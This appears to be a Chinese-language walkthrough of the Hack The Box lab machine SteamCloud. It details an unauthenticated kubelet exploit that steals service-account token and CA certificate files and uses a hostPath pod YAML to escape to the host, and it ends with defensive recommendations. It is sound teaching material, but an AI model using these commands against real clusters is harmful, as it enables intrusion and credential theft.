HTB-steamcloud-WriteUp
字数 2371 2025-08-29 22:41:44

Kubernetes安全渗透实战:SteamCloud靶机攻防详解

1. 靶机环境概述

SteamCloud是一个基于Kubernetes (k8s)环境的渗透测试靶机,主要考察对Kubernetes集群的安全评估和渗透能力。通过这个靶机,我们可以学习到:

  • Kubernetes基础服务识别
  • Kubelet未授权访问漏洞利用
  • 服务账户令牌(Service Account Token)获取
  • Kubernetes RBAC权限提升
  • 通过Pod挂载实现主机逃逸

2. 信息收集阶段

2.1 端口扫描

使用Nmap进行全面扫描:

nmap -p- -sV -sC 10.10.11.133

扫描结果摘要:

端口 服务 版本/备注
22 SSH OpenSSH 7.9p1 Debian 10+deb10u2
2379 etcd-client SSL证书显示主机名steamcloud,有效期2025-02-25至2026-02-25
2380 etcd-server 同上
8443 Kubernetes API 显示为minikube环境,403 Forbidden响应
10249 Kube-Proxy Golang net/http server
10250 Kubelet Golang net/http server,SSL证书显示主机名steamcloud
10256 Kube-Proxy Healthz Golang net/http server

关键发现:

  • 8443端口的Kubernetes API拒绝匿名访问
  • 10250端口的Kubelet服务开放且未配置认证

2.2 Kubernetes服务识别

从扫描结果可以确认这是一个Kubernetes集群环境,主要组件包括:

  • etcd (2379/2380): Kubernetes的键值存储
  • kube-apiserver (8443): 集群API入口
  • kubelet (10250): 节点代理,管理Pod和容器
  • kube-proxy (10249/10256): 网络代理服务

3. Kubelet未授权访问漏洞利用

3.1 确认Kubelet未授权访问

Kubelet默认监听10250端口,如果配置不当可能允许未授权访问:

curl -k https://10.10.11.133:10250/pods | jq .

3.2 使用kubeletctl工具

kubeletctl是专门用于与Kubelet交互的工具:

  1. 列出所有Pod:
./kubeletctl_linux_amd64 pods --server 10.10.11.133
  1. 扫描可执行RCE的Pod:
./kubeletctl_linux_amd64 --server 10.10.11.133 scan rce
  1. 对特定Pod执行命令(如nginx):
./kubeletctl_linux_amd64 --server 10.10.11.133 --pod nginx --container nginx exec "whoami"

4. 获取服务账户凭证

4.1 提取Service Account Token

在可RCE的Pod中获取Kubernetes服务账户凭证:

./kubeletctl_linux_amd64 --server 10.10.11.133 --pod nginx --container nginx exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token"

4.2 提取CA证书

./kubeletctl_linux_amd64 --server 10.10.11.133 --pod nginx --container nginx exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

4.3 设置环境变量

export token="eyJhbGciOiJSUzI1NiIsImtpZCI6InZzZzhFMUw4eTZNYks1UGZPVmNXSGtFWHFENEhQTl9HZS1EZW5DR2JnbVkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzcxOTg2MjY0LCJpYXQiOjE3NDA0NTAyNjQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImUzMjA4NGRjLWFjNjAtNDFjNC04NjFhLTIxOGIyNGQxOTVhZiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6Ijg3MzYzZTA3LTQ1YWUtNDNlNC05NzA3LWFhMDY4MTlmMmU4ZCJ9LCJ3YXJuYWZ0ZXIiOjE3NDA0NTM4NzF9LCJuYmYiOjE3NDA0NTAyNjQsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.Nz5JZBNDpL0tPsU_sRpfKexSrhZXgkB3kdVx72v6efSfXDuwlBnRcKHcEnFyAKN1DAtAkL49qlFRbnPLAlOHAn0Gz0iu9_k_qe8VY-lBiVLe2WDefZhe5VlprQXg3ufgu8DVkD6-xOChsaqaouFVyJhNQvyFPKipknpomTk0mX5h-cRrhPERKD1A9hcF1zDoOVjKcfqAZn8cNbQ9NYc5ywD5uXXFa0P7Qw5ETJeXwTS8KGW4JbLidoSS05JAezNL5-iV6ZqS6uALSIzioEBub9oJdQkqbjPeMI5wRe-iG9S5hvwVrc6__4L29kw-Xoi42pbt6QbuIjuLra01yQgoDQ"

5. 权限评估与提升

5.1 检查当前权限

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 auth can-i --list

5.2 创建特权Pod实现主机逃逸

如果具有创建Pod的权限,可以创建挂载主机根目录的特权Pod:

  1. 创建恶意Pod定义文件nginxt.yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
  1. 应用Pod配置:
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 apply -f nginxt.yaml
  1. 通过kubeletctl执行命令读取主机文件:
kubeletctl --server 10.10.11.133 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt

6. 防御措施

基于此攻击路径,管理员应采取以下防御措施:

  1. Kubelet安全配置

    • 启用Kubelet认证(--anonymous-auth=false)
    • 配置适当的授权模式(--authorization-mode=Webhook)
  2. RBAC最小权限原则

    • 限制Service Account权限
    • 避免使用cluster-admin等过高权限
  3. Pod安全策略

    • 限制特权容器(allowPrivilegeEscalation: false)
    • 限制hostPath挂载
    • 限制hostNetwork使用
  4. 网络隔离

    • 使用NetworkPolicy限制Pod间通信
    • 避免Kubelet API直接暴露在公网
  5. 审计与监控

    • 监控异常的Pod创建行为
    • 审计Kubelet API访问日志

7. 总结

通过SteamCloud靶机,我们学习了完整的Kubernetes集群渗透路径:

  1. 通过信息收集发现Kubelet未授权访问漏洞
  2. 利用漏洞获取Pod内服务账户凭证
  3. 评估当前服务账户权限
  4. 通过创建特权Pod实现主机逃逸
  5. 最终获取主机敏感信息

这个案例展示了Kubernetes环境中配置不当可能带来的严重安全风险,强调了安全配置和最小权限原则的重要性。

Kubernetes安全渗透实战:SteamCloud靶机攻防详解 1. 靶机环境概述 SteamCloud是一个基于Kubernetes (k8s)环境的渗透测试靶机,主要考察对Kubernetes集群的安全评估和渗透能力。通过这个靶机,我们可以学习到: Kubernetes基础服务识别 Kubelet未授权访问漏洞利用 服务账户令牌(Service Account Token)获取 Kubernetes RBAC权限提升 通过Pod挂载实现主机逃逸 2. 信息收集阶段 2.1 端口扫描 使用Nmap进行全面扫描: 扫描结果摘要: | 端口 | 服务 | 版本/备注 | |--------|---------------------|---------------------------------------------------------------------------| | 22 | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 | | 2379 | etcd-client | SSL证书显示主机名steamcloud,有效期2025-02-25至2026-02-25 | | 2380 | etcd-server | 同上 | | 8443 | Kubernetes API | 显示为minikube环境,403 Forbidden响应 | | 10249 | Kube-Proxy | Golang net/http server | | 10250 | Kubelet | Golang net/http server,SSL证书显示主机名steamcloud | | 10256 | Kube-Proxy Healthz | Golang net/http server | 关键发现: 8443端口的Kubernetes API拒绝匿名访问 10250端口的Kubelet服务开放且未配置认证 2.2 Kubernetes服务识别 从扫描结果可以确认这是一个Kubernetes集群环境,主要组件包括: etcd (2379/2380): Kubernetes的键值存储 kube-apiserver (8443): 集群API入口 kubelet (10250): 节点代理,管理Pod和容器 kube-proxy (10249/10256): 网络代理服务 3. Kubelet未授权访问漏洞利用 3.1 确认Kubelet未授权访问 Kubelet默认监听10250端口,如果配置不当可能允许未授权访问: 3.2 使用kubeletctl工具 kubeletctl 是专门用于与Kubelet交互的工具: 列出所有Pod: 扫描可执行RCE的Pod: 对特定Pod执行命令(如nginx): 4. 获取服务账户凭证 4.1 提取Service Account Token 在可RCE的Pod中获取Kubernetes服务账户凭证: 4.2 提取CA证书 4.3 设置环境变量 5. 权限评估与提升 5.1 检查当前权限 5.2 创建特权Pod实现主机逃逸 如果具有创建Pod的权限,可以创建挂载主机根目录的特权Pod: 创建恶意Pod定义文件 nginxt.yaml : 应用Pod配置: 通过kubeletctl执行命令读取主机文件: 6. 防御措施 基于此攻击路径,管理员应采取以下防御措施: Kubelet安全配置 : 启用Kubelet认证(--anonymous-auth=false) 配置适当的授权模式(--authorization-mode=Webhook) RBAC最小权限原则 : 限制Service Account权限 避免使用cluster-admin等过高权限 Pod安全策略 : 限制特权容器(allowPrivilegeEscalation: false) 限制hostPath挂载 限制hostNetwork使用 网络隔离 : 使用NetworkPolicy限制Pod间通信 避免Kubelet API直接暴露在公网 审计与监控 : 监控异常的Pod创建行为 审计Kubelet API访问日志 7. 总结 通过SteamCloud靶机,我们学习了完整的Kubernetes集群渗透路径: 通过信息收集发现Kubelet未授权访问漏洞 利用漏洞获取Pod内服务账户凭证 评估当前服务账户权限 通过创建特权Pod实现主机逃逸 最终获取主机敏感信息 这个案例展示了Kubernetes环境中配置不当可能带来的严重安全风险,强调了安全配置和最小权限原则的重要性。